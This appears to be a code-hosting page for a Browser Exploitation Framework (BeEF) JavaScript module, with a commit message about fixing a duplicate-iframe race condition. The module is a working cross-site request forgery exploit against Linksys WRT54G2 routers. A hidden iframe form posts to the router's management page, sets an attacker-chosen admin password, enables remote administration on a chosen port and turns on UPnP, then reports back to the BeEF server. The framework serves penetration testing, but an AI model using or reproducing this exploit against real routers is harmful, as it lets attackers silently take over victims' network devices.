This prevents a race condition where duplicate iframes/imgs are created if a module is run twice simultaneously. The second iframe/img was not being removed during `cleanup()`.
37 lines
1.4 KiB
JavaScript
37 lines
1.4 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var port = '<%= @port %>';
|
|
var gateway = '<%= @base %>';
|
|
var passwd = '<%= @password %>';
|
|
var timeout = 15;
|
|
|
|
var wrt54g2_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "Manage.tri", "POST",
|
|
[{'type':'hidden', 'name':'MANAGE_USE_HTTP', 'value':'0'} ,
|
|
{'type':'hidden', 'name':'MANAGE_HTTP', 'value':'1'},
|
|
{'type':'hidden', 'name':'MANAGE_HTTP_S', 'value':'0'},
|
|
{'type':'hidden', 'name':'MANAGE_PASSWORDMOD', 'value':'1'},
|
|
{'type':'hidden', 'name':'MANAGE_PASSWORD', 'value':passwd},
|
|
{'type':'hidden', 'name':'MANAGE_PASSWORD_CONFIRM', 'value':passwd},
|
|
{'type':'hidden', 'name':'_http_enable', 'value':'1'},
|
|
{'type':'hidden', 'name':'MANAGE_WLFILTER', 'value':'1'},
|
|
{'type':'hidden', 'name':'MANAGE_REMOTE', 'value':'1'},
|
|
{'type':'hidden', 'name':'MANAGE_PORT', 'value':port},
|
|
{'type':'hidden', 'name':'MANAGE_UPNP', 'value':'1'},
|
|
{'type':'hidden', 'name':'layout', 'value':'en'}
|
|
]);
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(wrt54g2_iframe_<%= @command_id %>);
|
|
}
|
|
setTimeout("cleanup()", timeout*1000);
|
|
|
|
});
|
|
|